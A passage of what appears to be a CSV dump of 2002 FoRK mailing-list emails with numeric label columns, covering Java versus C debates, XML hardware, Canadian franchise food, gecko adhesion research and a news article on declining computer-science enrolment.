by social opporobrium, not technical constraints.) But I think what actually happened is that some idiot got infected by Klez and had both FoRK and the pine-robot autoresponder address in their mailbox or addressbook, so Klez forged mail from fork@xent.com to the autoresponder, which responded. To FoRK.",0,0 """Bill Kearney"" ",,"Wed, 28 Aug 2002 09:39:52 -0400",Re: DataPower announces XML-in-silicon,"> Now, to do this, we all know they have to be cracking the strong crypto used > on all transaction in order to process them... So this has some preaty heavy > implications, unless it's just BS. Anybody buying a box like this is undoubtledly going to integrate it into their crypto infrastructure. What's the point of putting in a box like this if it's not an active participant in your security framework? > Or.... you could just not bloat it 20x to begin with. Nah! (that was the > whole point of XML afterall, to sell more CPUs - much like Oracle's use of > Java allows them to sell 3x more CPU licenses due to the performance hit) Blah, blah, blah. The marketing FUD gets compounded by the Beberg FUD, talk about 20x bloat. > Again, see above... they _are_ claiming to decode the crypto... What gives you the impression that's what they're doing? That's not what the text says. It's largely fluff anyway. > > ""Our XG3 execution core converts XML to machine code,"" said Kelly, > Mmmmmmmmmmm, machine code, never a good idea ;) Uhhh, fundamentally it's all machine code. Kelly's comment seems more like drivel from a clueless marketroid than anything of technical concern. Having what appears to be a silicon XML router would be a cool thing. Having one integrated with your crypto environment would kick ass. Let it deserialize/decrypt/repackage the XML before handing it off to the app servers. The question, of course, is does it work with actual applications in the field without tremendously reworking them. Somehow I doubt it... -Bill Kearney",0,0 Gary Lawrence Murphy ,Owen Byrne ,28 Aug 2002 12:07:24 -0400,Re: Canadians,">>>>> ""O"" == Owen Byrne writes: O> From the local paper this morning. ""Canadians eat about seven O> times as many doughnuts per capita""... (as Americans) . D'oh! If we had more variety of franchise food than the Wendys/KFC/PizzaHut/TacoBell/TimHorton's monopoly (they are all Pepsi under the hood, aren't they?), things might be different. When a New Yorker has biscotti, we have a timbit, when a Parisienne has a croissant, we have a timbit ... because that's all we can buy. The USA is a nation founded on creative free enterprise entrepreneurs; Canada is a nation built on monopolies. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Wed, 28 Aug 2002 16:26:34 +0000",Re: Canadians,"Gary Lawrence Murphy: >If we had more variety of franchise food than >the Wendys/KFC/PizzaHut/TacoBell/TimHorton's monopoly .. The USA is a >nation founded on creative free enterprise entrepreneurs; Canada >is a nation built on monopolies. Things aren't all that bad. I remember Vancouver as having a broad variety of good, local eateries. And Toronto as having a variety of good, local strip joints. ;-) I never ate a doughnut in Canada, so I cannot vouch for their quality. I could live in either of these cities quite happily, but Carolyn doesn't like cold weather. Personally, I almost never eat at a franchise restaurant. Usually you can find better fare or cheaper fare (and often both!) at a local restaurant. _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 28 Aug 2002 18:44:09 +0200 (CEST)",Re: Java is for kiddies,"JoeBar wrote: >C is more reliable than Java?? Depends who writes it. One guy will write a bug every 5 lines, another every 5000 lines. Put them both on a project and that will average out to a bug every 4.995 lines. (Irrespective of language. Pick the one that best suits what you're trying to do.) R",0,0 Gary Lawrence Murphy ,"""Russell Turpin"" ",28 Aug 2002 12:57:04 -0400,Re: Canadians,">>>>> ""R"" == Russell Turpin writes: R> Things aren't all that bad. I remember Vancouver as having a R> broad variety of good, local eateries. And Toronto as having a R> variety of good, local strip joints. ;-) I haven't been to Van in years, but I do know that in Toronto, outside of the small deeply ethnic neighbourhoods, if you stray more than 50 feet from Wellesley and Jarvis or Queen and Spadina, you're in doughnutland; there's far more like the eateries in the Eaton Centre than there are quaint cafes like McCaul north of Dundas, and the rare little eateries are not brimming with lunchtime traffic (you can still find a seat at noon at Village by the Grange) When most of Toronto does not live in those neighbourhoods but instead lives in Scarborough, Malton, Mississauga and Markham (franchisevilles), you will quickly see that one or two trendy strips does not save an entire nation. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 Gary Lawrence Murphy ,harley@argote.ch (Robert Harley),28 Aug 2002 12:58:26 -0400,Re: Java is for kiddies,">>>>> ""R"" == Robert Harley writes: R> Depends who writes it. One guy will write a bug every 5 lines, R> another every 5000 lines. Put them both on a project and that R> will average out to a bug every 4.995 lines. And a Java program, due to the extensive class libraries, will weigh in at 10% the number of lines of the equivalent C program. QED. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 28 Aug 2002 18:51:32 +0200 (CEST)",Re: The GOv gets tough on Net Users.....er Pirates..,"Mike Masnick wrote: >Why is it that people don't understand that giving stuff away is a >perfectly acceptable tactic in capitalist businesses? In many places, it's >called ""advertising"": ""buy one, get one free"" I'll just take the free one, OK? No? Oh, so actually it's not free at all; you're just bundling, with a unit price half of what's advertised. How about some truth in that advertising? R",0,0 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Wed, 28 Aug 2002 18:59:37 +0200 (CEST)",Re: Java is for kiddies,"GLM wrote: >And a Java program, due to the extensive class libraries, will weigh >in at 10% the number of lines of the equivalent C program. QED. Quod erat not demonstrandum at all. There are massive amounts of libraries for C, Fortran and so on. To pick an obvious example., if you want to do linear algebra, then Java isn't a serious candidate at all. Furthermore, plenty of bugs occur in the libraries too, at a lower rate due to more users having been bitten by them, but they are much harder for you to fix than in your own code. Why do so many people outside of Sun's marketing department consider Java to be ""Write Once, Debug Everywhere"" ? R",0,0 James Rogers ,fork@spamassassin.taint.org,28 Aug 2002 10:35:27 -0700,Re: Java is for kiddies,"On Tue, 2002-08-27 at 08:58, Joseph S. Barrera III wrote: > > C is more reliable than Java?? Both are reliable. ""Reliability"" is more a function of the software engineer. I've written complicated mission-critical server software in Java that will run without a hiccup as long as the Unix box it is sitting on is running. Same with C. For processes that are running months at a time, and in my case constantly touching databases and doing lots of low-level network stuff, reliability is obtained by making sure every conceivable problem (and problems you didn't conceive of) recovers to a clean/safe process state so that things keep running i.e. it is a design/programming issue. That said, we usually prototype serious systems in Java and then re-implement them in C if we have time. Java doesn't scale well as a language for server apps, though not for the reasons usually offered. The problem is that for high-end server apps, you really need fairly detailed and low-level control of system resources to get around bottlenecks that show up relatively quickly in languages that don't give you access to it. You can squeeze several times the performance out of a C server program than a Java one simply by being able to finely tune (or more frequently, bypass) the system resource management. Nonetheless, this is not a significant factor for most applications you could conceivably develop in either language, as most aren't limited by raw performance scalability. -James Rogers jamesr@best.com",0,0 """Jim Whitehead"" ","""FoRK"" ","Wed, 28 Aug 2002 10:34:04 -0700",RE: Gecko adhesion finally sussed.,"Great, this is half of what I'd need to become Spider Man! Now all I need to figure out is how to do that spider web shooting thing. - Jim > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of > Eirikur Hallgrimsson > Sent: Monday, August 26, 2002 10:24 PM > To: FoRK > Subject: Gecko adhesion finally sussed. > > > (Via Robot Wisdom) Maybe you UC folk know these people? > > http://www.eurekalert.org/pub_releases/2002-08/lcc-sph082202.php > > Working at Lewis & Clark College, the University of California at > Berkeley, > the University of California at Santa Barbara, and Stanford University, > the interdisciplinary team: > > * confirmed speculation that the gecko's amazing climbing ability > depends on weak molecular attractive forces called van der Waals forces, > > * rejected a competing model based on the adhesion chemistry of water > molecules, and > > * discovered that the gecko's adhesive depends on geometry, not surface > chemistry. In other words, the size and shape of the tips of gecko foot > hairs--not what they are made of--determine the gecko's stickiness. > > To verify its experimental and theoretical results, the gecko group then > used its new data to fabricate prototype synthetic foot-hair tips > from two > different materials. > > ""Both artificial setal tips stuck as predicted,"" notes Autumn, assistant > professor of biology at Lewis & Clark College in Portland, Ore. ""Our > initial prototypes open the door to manufacturing the first biologically > inspired dry, adhesive microstructures, which can have widespread > applications.""",0,1 James Rogers ,fork@spamassassin.taint.org,28 Aug 2002 10:58:35 -0700,Re: Java is for kiddies,"On Wed, 2002-08-28 at 09:58, Gary Lawrence Murphy wrote: > > And a Java program, due to the extensive class libraries, will weigh > in at 10% the number of lines of the equivalent C program. QED. My typical Java-to-C conversion doesn't increase the lines of code by more than 20%, and a fair portion of that is the implementation of additional features that drove us to do the conversion in the first place. Some things are substantially more succinct when written in C than in Java. C and most other mature languages have an endless collection of libraries. I personally don't use anything beyond the core libraries of any language that much though. On a tangent, I find libraries nearly useless for a great many things due primarily to the fact that most of them are so general that a given non-trivial API almost always has a context in which it will function in a pathological manner. Code reuse is wonderful and all that, but libraries frequently make design trade-offs that won't work for me even if they theoretically do exactly what I need. Unfortunately, it isn't particularly easy nor does it make a nice simple API to design a library that really is optimizable to a wide range of design cases. I've built a small collection of flexible psuedo-polymorphic APIs over the years that I tend to use, but it is a pretty ugly solution for code reuse when you get right down to it. -James Rogers jamesr@best.com",0,0 """Jim Whitehead"" ","""FoRK"" ","Wed, 28 Aug 2002 10:40:28 -0700",Another low probability event,"So, a new family moved in down the street, with two kids, making us very excited that there might be a child around the same age (20 months) as our daughter Tatum. While we're talking to the family, we discover that their daughter Kiara was born the same day as Tatum, within two hours, in the same exact maternity ward. Both mothers were undoubtedly in labor at the same time. Wow. - Jim",0,0 """R. A. Hettinga"" ","""Jim Whitehead"" , ""FoRK"" ","Wed, 28 Aug 2002 13:43:03 -0400",RE: Gecko adhesion finally sussed.,"At 10:34 AM -0700 on 8/28/02, Jim Whitehead wrote: > Great, this is half of what I'd need to become Spider Man! Now all I need to > figure out is how to do that spider web shooting thing. ...That and be able to stick yourself upside down on a 20 foot ceiling from a standing jump... I remember someone recently doing the calculations in kilocalories required to be spiderman somewhere. Kind of like those flaming processor ""analyses"" done a couple of years ago... Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Gary Lawrence Murphy ,harley@argote.ch (Robert Harley),28 Aug 2002 15:06:39 -0400,Re: Java is for kiddies,">>>>> ""R"" == Robert Harley writes: R> GLM wrote: >> And a Java program, due to the extensive class libraries, will >> weigh in at 10% the number of lines of the equivalent C >> program. QED. R> There are massive amounts of libraries for C, Fortran and so R> on. To pick an obvious example., if you want to do linear R> algebra, then Java isn't a serious candidate at all. If you want to do http, C gets pretty muddy (curl is about the best choice I've found) but I grant you that: No language is the be-all and end-all. I envy some of those posting to this list. I've been in business for 24 years and I haven't yet had the luxury of writing every line of code for any project. We are always coerced by budgets and time to maximize the amount of work done elsewhere. As much as I hate dealing with someone else's blackbox, as much as I've spent sleepless nights second-guessing external libs, I've never ever had the luxury to do otherwise. It must be wonderful to be responsible for something you are actually responsible for, and I am so sick of being blamed for other people's design mistakes. Maybe there's an archive somewhere I need to know about, but I've been using C since DrDobbs first published SmallC and yet I've never found any decent LGPL libs cataloged in such a way that I can just type in the task and get back an API. Because of Javadoc, which is by no means perfect, Java provides me the second best catalog of 3rd-party libs, second only to Perl's CPAN -- Perl is one language I also really hate with a passion, yet end up using the most for exactly this reason. For example, take the recent CBC Olympics site: I needed to roll together a telnet client with a tokenizer, perl-regex preprocessing a stream to produce parseable XML, project that XML into relational databases using only the DTD to generate the rdbms schema, and open an XMLRPC interface to read and post items into the news stream. Where can I find C libs for those components? On the webserver, we then needed a multithreaded read-only http socket which can spawn persistent data-caching servlets that periodically refresh themselves over socket connections to the relational database, presenting the retreived values through XSLT-defined transforms, and again, where can I find such stuff for C ... or for any other langauge but Java? Wombat (servlet spec for Perl) was inviting, but it's not ready for prime-time, and re-inventing that entire shopping list in C is just not feasible for one programmer to do inside of 8 weeks. When you need C libs, or even C++ libs, where's the best place to shop? Where do you find standards-based portable RDBMS API? (ODBC?) How do you evaluate these things without actually fetching every one and trying it out? In a perfect universe, I'd use Ocaml or even Ruby, but I don't see the social infrastructure for either happening during my professional lifetime. R> Why do so many people outside of Sun's marketing department R> consider Java to be ""Write Once, Debug Everywhere"" ? A collegue at Cognos (Henk?) called C ""the nearly-portable assembler"" -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """Jim Whitehead"" ","""FoRK"" ","Wed, 28 Aug 2002 13:01:54 -0700",RIAA site hacked overnight,"First seen on Dave Winer's Scrpiting News (www.scripting.com) Details here: http://www.digichapman.com/index.php?permalink=67 - Jim",0,1 Eirikur Hallgrimsson ,FoRK ,"Wed, 28 Aug 2002 20:39:25 -0400","""Holiday Season"" 2002 begins","It's official, the holidays are here. I got HTML mail from one of the little catalogs I've been known to purchase from....basically the front page of their first holiday catalog. Must have been released simultaneously with mailing for a delivery target of just after Labor Day. Ick. Eirikur",0,0 """Jim Whitehead"" ","""Gary Lawrence Murphy"" ","Wed, 28 Aug 2002 14:57:00 -0700",RE: Java is for kiddies,"> For example, take the recent CBC Olympics site: I needed to roll > together a telnet client with a tokenizer, perl-regex preprocessing a > stream to produce parseable XML, project that XML into relational > databases using only the DTD to generate the rdbms schema, and open an > XMLRPC interface to read and post items into the news stream. Where > can I find C libs for those components? You open sourced the new components you developed for this project, so the next person who comes along won't have to reimplement them, right? - Jim",0,0 """Mr. FoRK"" ","""FoRK"" ","Wed, 28 Aug 2002 18:18:53 -0700",Re: Another low probability event,"We met a family in our parent-baby group with a son born a few minutes before our daughter - not unlikely as all members were from the same hospital. But, this family happened to have lived in the exact same apartment unit a year before we had... ----- Original Message ----- From: ""Jim Whitehead"" To: ""FoRK"" Sent: Wednesday, August 28, 2002 10:40 AM Subject: Another low probability event > So, a new family moved in down the street, with two kids, making us very > excited that there might be a child around the same age (20 months) as our > daughter Tatum. While we're talking to the family, we discover that their > daughter Kiara was born the same day as Tatum, within two hours, in the same > exact maternity ward. Both mothers were undoubtedly in labor at the same > time. > > Wow. > > - Jim >",0,0 Gary Lawrence Murphy ,"""Jim Whitehead"" ",28 Aug 2002 21:52:11 -0400,Re: Java is for kiddies,">>>>> ""J"" == Jim Whitehead writes: J> You open sourced the new components you developed for this J> project, so the next person who comes along won't have to J> reimplement them, right? No need: All those components already exist either in the Java class libraries or from the various java jar collections. Most of the classes I used came from the Jakarta project and ApacheXML But if it's any consolation, my threading of them all together into a newswire server /is/ GPL and available on sourceforge. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """Joseph S. Barrera III"" ",Eirikur Hallgrimsson ,"Wed, 28 Aug 2002 21:00:33 -0700","Re: ""Holiday Season"" 2002 begins","Eirikur Hallgrimsson wrote: > It's official, the holidays are here. For which year, 2003 or 2004? - Joe",0,0 Eirikur Hallgrimsson ,FoRK ,"Thu, 29 Aug 2002 03:58:03 -0400",Internet saturation (but not in Iceland),"Gary's news service at teledyn.com has an article on Internet Saturation. Let me ask you....If you were on a rock in the middle of the Atlantic, mostly in the dark for half the year, wouldn't *you* like a bit of internet distraction? They've already done the obvious and fiber-ringed the island. Eirikur -------- Latest guestimate stats from Ireland's NUA show a flattening Internet population growth. It seems there's two kinds of people, those who will go online with the status quo, and those who won't: Canada levels out at 53%, the USA at 59% (since 2000!), Denmark flatlines at 60%, Norway at 54%, Sweden at 64%, and the UK at 55% ... only Iceland continues unfettered beyond 60%. Could this be evidence of a usability barrier? If so, it's a clear signal that there's as much fortune to be gained from a substantially new Internet interface than all that has been gained so far. Latest guestimate stats from Ireland's NUA show a flattening Internet population growth. It seems there's two kinds of people, those who will go online with the status quo, and those who won't: Canada levels out at 53%, the USA at 59% (since 2000!), Denmark flatlines at 60%, Norway at 54%, Sweden at 64%, and the UK at 55% ... only Iceland continues unfettered beyond 60%. Could this be evidence of a usability barrier? If so, it's a clear signal that there's as much fortune to be gained from a substantially new Internet interface than all that has been gained so far. http://www.nua.ie/surveys/how_many_online/",0,1 yyyy@spamassassin.taint.org (Justin Mason),Gary Lawrence Murphy ,"Thu, 29 Aug 2002 11:24:39 +0100",Re: Java is for kiddies,"Gary Lawrence Murphy said: > I envy some of those posting to this list. I've been in business for > 24 years and I haven't yet had the luxury of writing every line of > code for any project. We are always coerced by budgets and time to > maximize the amount of work done elsewhere. For consultancy, integration or open source work, sure, perl, python or java with free use of external libs makes a lot of sense IMO. I should note that normally when I've used C or C++ in the past, it's dictated by the fact that I would be working on a commercial product, written from the ground up, where the code you're generating is important IP for the company; in this case, using a third-party lib often is not an option, or would be a PITA licensing-wise. Also, cutting out third-party dependencies can reduce the risk of ""oops, there goes the company that makes that library I depend on, now to shop around for something vaguely similar, figure out what bugs it's got, rewrite my code to use the new API, and hope for the best"". This can be a *very* big deal, for obvious reasons ;) Open source knockers should note that this is not a problem when using LGPL'd libs ;) --j.",0,0 yyyy@spamassassin.taint.org (Justin Mason),Eirikur Hallgrimsson ,"Thu, 29 Aug 2002 11:27:03 +0100",Re: Internet saturation (but not in Iceland),"Eirikur Hallgrimsson said: > Let me ask you....If you were on a rock in the middle of the Atlantic, > mostly in the dark for half the year, wouldn't *you* like a bit of > internet distraction? They've already done the obvious and fiber-ringed > the island. BTW did they do the same as they did in Ireland, namely: spend millions burying copious miles of dark fibre, then neglect to provide any way of actually hooking it up to any ISPs? ;) --j. (frustrated)",0,0 Owen Byrne ,Geege ,"Thu, 29 Aug 2002 12:06:43 -0300","Re: Rambus, Man","--------------090602010909000705010009 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Geege wrote: >This message was sent to you from http://www.idg.net > >Geege would like you to read the story below: > >http://www.idg.net/gomail.cgi?id=940026 > >Title: >A first look at the 2.8-GHz Pentium 4 > >Summary: >Latest Rambus memory plus fast bus appear to give Intel's newest P4 the jolt it needs. > >Geege attached the following message: >------------------------------------------------------------ >ha ha ha harley. rambus earns it. >------------------------------------------------------------ > >Stay on top of the world of Information Technology with your own >FREE subscription to our specialized newsletters. Subscribe now >at http://www.idg.net/subscribe > > >7132 > > > The overclockers have given it another jolt, perhaps to potential sales (and maybe sales of liquid nitrogen): via slashdot Owen http://www.muropaketti.com/artikkelit/cpu/nw2800/index3.phtml *Pivmr:* 26.8.2002 *Artikkeli:* Intel Northwood 2,8GHz *Tekij:* Sampsa Kurri *English Summary* When the Intel Pentium 4 2,8GHz CPU arrived to our testlab we ordered 10 liters of Liquid Nitrogen (LN2 -196C) and decided to run some tests in very low temperatures. After some adjusting and testing we were able to run SiSoft Sandra CPU and Memory benchmarks and Pifast benchmark smoothly when the CPU was running at 3917MHz. We raised the FSB one more step and managed to run succesfully SuperPi benchmark while CPU was running at 3998MHz. The result was 39 seconds. Test setup: P4 2,8GHz, Modified Asus P4T533-C, Samsung PC800 RDRAM, PNY GeForce 4 MX440 and Windows XP OS. Check out the pictures. --------------090602010909000705010009--",0,1 """Adam L. Beberg"" ",Bill Stoddard ,"Sun, 1 Sep 2002 16:59:24 -0700 (PDT)",RE: Gasp!,"On Sun, 1 Sep 2002, Bill Stoddard wrote: > > > > ""Red Hat Linux Advanced Server provides many high end features such as: > > Support for Asynchronous I/O. Now read I/O no longer needs to stall your > > application while waiting for completion."" > > Can you provide a reference? I could find it myself but I'm too lazy. Well, i saw it on the Compaq Testdrive site, then had to seriously dig on the redhat site... It's in one of their whitepapers... http://www.redhat.com/pdf/as/as_rasm.pdf > > Could it be? After 20 years without this feature UNIX finally > > catches up to > > Windows and has I/O that doesnt totally suck for nontrivial apps? No way! > > Do /dev/poll and FreeBSD's KQ event driven APIs count? IMHO, true async > io as implemented by Windows 4.0 and beyond is pretty slick, but the > programming model is substantially more complex than programming to an > event API like /dev/poll. And true async does not buy much if the > system call overhead is low (as it is with Linux). I havent used the FBSD poll, as it's not portable, select and poll(still not 100%) are all that exist in the UNIX world. Redhat of course doesnt count as portable either, but it's nice they are trying. The Windows I/O model does definately blow the doors off the UNIX one, but then they had select to point at in it's suckiness and anything would have been an improvement. UNIX is just now looking at it's I/O model and adapting to a multiprocess multithreaded world so it's gonna be years yet before a posix API comes out of it. Bottom line is the ""do stuff when something happens"" model turned out to be right, and the UNIX ""look for something to do and keep looking till you find it no matter how many times you have to look"" is not really working so great anymore. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 bitbitch@magnesium.net,"""Adam L. Beberg"" ","Sun, 1 Sep 2002 19:39:17 -0400",Re: revocation of grlygrl201@,"Well Beberg, unless you're really into Anime and actually hold true that dead people can send email, I think Geege's subject is just dandy. Especially since she removed herself from the hive that is aol (and placed herself unto another, but hey :-)) Geege: I think its cute when he worries like that, don't you? :) *ducks and runs* (bonus FoRK points if Adam knows what anime i'm refering to) BB",0,0 """Geege Schuman"" ","""Joseph S. Barrera III"" , ""FoRK"" ","Sun, 1 Sep 2002 21:05:28 -0400",RE: revocation of grlygrl201@,"beberg, would you rather mrsrobinson@bellsouth.net? into plastics too, schuman -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Joseph S. Barrera III Sent: Sunday, September 01, 2002 7:52 PM To: FoRK Subject: Re: revocation of grlygrl201@ bitbitch@magnesium.net wrote: > Well Beberg, unless you're really into Anime and actually hold true > that dead people can send email, I think Geege's subject is just > dandy. Funny you should mention that, as I just came back from refilling the green coolant in my Navi. > (bonus FoRK points if Adam knows what anime i'm refering to) I guess I don't get any points, do I? No, didn't think so. - Joe P.S. We've just started watching Boogiepop Phantom... -- The Combatant State is your father and your mother, your only protector, the totality of your interests. No discipline can be stern enough for the man who denies that by word or deed.",0,0 """Joseph S. Barrera III"" ",FoRK ,"Sun, 01 Sep 2002 18:10:39 -0700",Re: Java is for kiddies,"Reza B'Far (eBuilt) wrote: > problems.... Why do most computer scientists insist on solving the > same problems over and over again when there are some many more > important and interesting problems (high level) to be solved ????? Amen! Doing it in an (unecessarily) harder way does NOT make you more of a man (or less of a kiddie). - Joe -- The Combatant State is your father and your mother, your only protector, the totality of your interests. No discipline can be stern enough for the man who denies that by word or deed.",0,0 """Adam L. Beberg"" ",,"Sun, 1 Sep 2002 19:40:27 -0700 (PDT)",Tech's Major Decline,"""Once we thought of the Internet as this thing with infinite capabilities. It was basically just a fad that came along."" Missing from the article is the percentage of foreign enrolement, I would bet the numbers of students from Asia (China specificly) has gone up quite a bit, and is the only thing keeping the overall numbers from plummiting. ""you can't get the chicks with that anymore."" About time us geeks were outcasts again. I was getting sick of hearing about geeks breeding and ending up with autistic children - proving that intelligence is a genetic defect and a ""do not breed"" flag.) - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com ----------------- Tech's Major Decline College Students Turning Away From Bits and Bytes By Ellen McCarthy Washington Post Staff Writer Tuesday, August 27, 2002; Page E01 If John Yandziak had been entering college a few years ago, he might have sought a stake in the ""new"" economy. He might have dreamed of becoming an ace code-cracker for the CIA or the National Security Agency, or imagined toppling an empire with revolutionary software. Maybe he would have tried to use the Internet to end world hunger. But as Yandziak attends his first college classes this week, he's harboring different academic ambitions. The Ashburn native says he wants to do something more social and more interesting than working with computers. Besides, he said while packing for a Charlottesville dormitory room, ""you can't get the chicks with that anymore."" The tech industry's financial problems are enough to bankrupt the dreams of some fair-weather students. But now there's another consequence of the tech bust: Enrollment growth in undergraduate computer science departments has come to a halt. The number of undergraduates majoring in computer science fell 1 percent in 2001, according to a report by the Computing Research Association. And educators in the field say the trend seems to be accelerating, with some colleges seeing much greater drops as the new academic year begins. The word is out among department deans that the bust's fallout has trickled into the classroom, said Maria Clavez, president of the Association of Computing Machinery. ""I've heard everything from no change to modest decline to more dramatic declines,"" said Clavez, who will become the dean of science and engineering at Princeton University in January. ""It can be hard to see this, because at some colleges the number of people who want to study computer science so far exceeds the available space. [But] it is going to have an effect."" At Virginia Tech, enrollment of undergraduates in the computer science department will drop 25 percent this year, to 300. At George Washington University, the number of incoming freshmen who plan to study computer science fell by more than half this year. Interest in undergraduate computer science programs had grown rapidly in the past decade. In 1997, schools with PhD programs in computer science and computer engineering granted 8,063 degrees, according to the Computing Research Association. The numbers rose through 2001, when 17,048 degrees were awarded. The Labor Department projects that software engineering will be the fastest-growing occupation between 2000 and 2010, with other computer-related industries trailing close behind. But in the short term that growth may slow, based on the changes among college students. For example, 900 of the 2,000-plus undergraduates studying information technology and engineering at George Mason University were computer science majors last year. This year the enrollment in that major is down to 800, although a newly created and more general information technology major has attracted 200 students. ""Having it ease off for a while is a bit of a relief,"" said Lloyd Griffith, dean of George Mason's information technology and engineering school. ""Particularly with the field as it has been, they don't want to spend four years on something and then not get a job."" Freshman enrollment for the University of Maryland's computer science major is expected to be about 167 this fall, down from 329 last year. Maryland decreased its total freshman enrollment by 11 percent, but that alone does not account for the drop, said Steve Halperin, dean of Maryland's College of Computer, Mathematical and Physical Sciences. ""We are seeing a decrease in the number of freshmen who are declaring their interest in pursuing computer science as a major,"" Halperin said. ""That's a factual statement. But I would say that at this point . . . we don't expect to see a decrease in the number of graduates. Many of the kids who are no longer expressing an interest in majoring in CS would have fallen off."" Yandziak, who began at the University of Virginia on Saturday, is not convinced that's the case. He graduated in the top 5 percent of his class, with a 3.9 grade-point average, and nailed the highest possible score on his advanced-placement exam in computer science. ""All of my classes have been easy for me. Math and sciences were always fun, so I looked for professions in which I could use those things,"" Yandziak said. ""I'm just not sure I want my life to be immersed in [technology]. I want to do something that will contribute to the practical world."" Harris N. Miller, president of the Information Technology Association of America, said the last time there was a dearth of computing professionals, salaries skyrocketed and workers benefited from the labor shortage. ""There was a tremendous imbalance in the late '90s; potentially you have the same sort of thing going on right now. People are saying, 'I don't need this kind of IT training right now,' "" Miller said. ""Our concern as an industry is that if they begin to again see major declines in enrollment, down the road four years, as the economy picks up, once again companies are going to find themselves in a shortage situation."" Economic potential weighs heavily in many student career choices, but other factors, including program difficulty, personal interests and social influences, also come into play, said Judy Hingle, director of professional development at the American College Counseling Association. The perception of computer science as an isolating, ""nerdy"" profession is one that many in the industry have tried to squelch. That stereotype went underground during the tech bubble but reemerged during the bust. ""All the hipness is gone,"" Yandziak said. ""Once we thought of the Internet as this thing with infinite capabilities. It was basically just a fad that came along."" Lamont Thompson, a recent graduate of Calvin Coolidge Senior High School in the District, is headed to Morehouse College in Atlanta to study business marketing, with the intention of going into real estate development. ""Technology comes natural to people my age; it's not fascinating anymore,"" Thompson said. ""To be honest with you, when I think computer science, I think of some guy sitting behind a computer all day in a dark room. It's a necessity, but I wouldn't take it any further.""",0,1 """Adam L. Beberg"" ","""Joseph S. Barrera III"" ","Sun, 1 Sep 2002 21:10:06 -0700 (PDT)",Re: Java is for kiddies,"On Sun, 1 Sep 2002, Joseph S. Barrera III wrote: > Reza B'Far (eBuilt) wrote: > > problems.... Why do most computer scientists insist on solving the > > same problems over and over again when there are some many more > > important and interesting problems (high level) to be solved ????? > > Amen! Like what exactly? All the problems are in chemisty and physics and biology and mathematics. We're just enablers :) > Doing it in an (unecessarily) harder way does NOT make you more of a man > (or less of a kiddie). Yes, but doing it an order of magnitude or 2 easier does :) Which with the way things are now, is not hard at all to do. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """Adam L. Beberg"" ","""Mr. FoRK"" ","Sun, 1 Sep 2002 21:01:03 -0700 (PDT)",Re: Java is for kiddies,"On Sun, 1 Sep 2002, Mr. FoRK wrote: > > 6. Hardware is getting so fast that I'm not sure if the performance > > difference between Java and C/C++ are relevant any more. > > When out-of-the-box parsing & transform of XML in java is 25x slower than > C++ on the same hardware then it does matter. Yea, and that on top of the 100x of all the parsing engines over just bigendian'ing it and passing the data (5x+++) in the raw. Then it REALLY matters. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 Eirikur Hallgrimsson ,FoRK ,"Mon, 2 Sep 2002 03:19:13 -0400",Re: Java is for kiddies,"On Sunday 01 September 2002 08:43 pm, Reza B'Far (eBuilt) wrote: > 3. Java is not just a programming language! The astounding thing about java is that despite all of the many significant points in its favor, it still manages to suck, and break across JVMs. I was really looking forward to being able to use a better language like java and get it compiled to real platform-specific binaries via the GNU compiler collection. But this seems to have never really gotten anywhere because it would require porting or reimplementing libraries, which are probably not source-available or tolerably licenced. When I looked at what I had to do to gcc and link ""hello world,"" I lost interest. Who the hell is writing the runtimes, anyway? Why are Perl/Python/Ruby more reliable? In a world where the Macs all ran emulated 68K code utterly reliably, it's just hard to accept that there can't be a single portable JVM that just works. My opinion is biased because of the disgraceful state of non-Windoze browser java implementations. Eirikur",0,0 """Geege Schuman"" ",,"Mon, 2 Sep 2002 09:33:47 -0400",Er,"use this address instead, please. prerogatively, geege",0,0 Ned Jackson Lovely ,fork@spamassassin.taint.org,"Mon, 2 Sep 2002 10:26:52 -0400",Re: Java is for kiddies,"On Mon, Sep 02, 2002 at 03:19:13AM -0400, Eirikur Hallgrimsson wrote: > My opinion is biased because of the disgraceful state of non-Windoze > browser java implementations. Horrors. Applets are kinda sucky. The cool kids are using Java to write server applications, not browser craplets. The giggle-inducing irony of the whole Java thing is how Sun's strategy backfired. They produced a platform that was supposed to dwell on the client side, where it would commoditize those clients. Instead, it turns out to be the perfect language to write server applications in, and it has successfully commoditized servers. Ooops! -- njl",0,0 """Reza B'Far (eBuilt)"" ","""Adam L. Beberg"" ,","Mon, 2 Sep 2002 09:30:22 -0700",RE: Java is for kiddies,"With the increasing prevalence of web services (not that they are always a good thing), I doubt that parsing XML will be something that will remain at the Java application layer for long... Recent threads here on Fork indicating the move towards hardware parsing or this code even become part of the native 